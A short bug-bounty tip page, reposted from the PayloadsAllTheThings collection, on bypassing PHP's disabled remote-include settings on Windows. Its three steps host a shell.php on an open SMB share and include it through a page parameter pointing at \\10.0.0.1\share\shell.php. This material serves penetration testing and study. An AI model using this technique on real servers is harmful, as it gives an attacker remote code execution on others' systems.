File Inclusion: Bypass allow_url_include

File inclusion and path traversalExploitation

From PayloadsAllTheThings by Swissky and contributors, under the MIT licence. Shown as written; the title and classification are ours. Licences. Its authors can have this tip removed by writing to abuse@bugbountytips.org.

When allow_url_include and allow_url_fopen are set to Off. It is still possible to include a remote file on Windows box using the smb protocol.

  1. Create a share open to everyone

  2. Write a PHP code inside a file : shell.php

  3. Include it http://example.com/index.php?page=\\10.0.0.1\share\shell.php

Comments

No comments yet.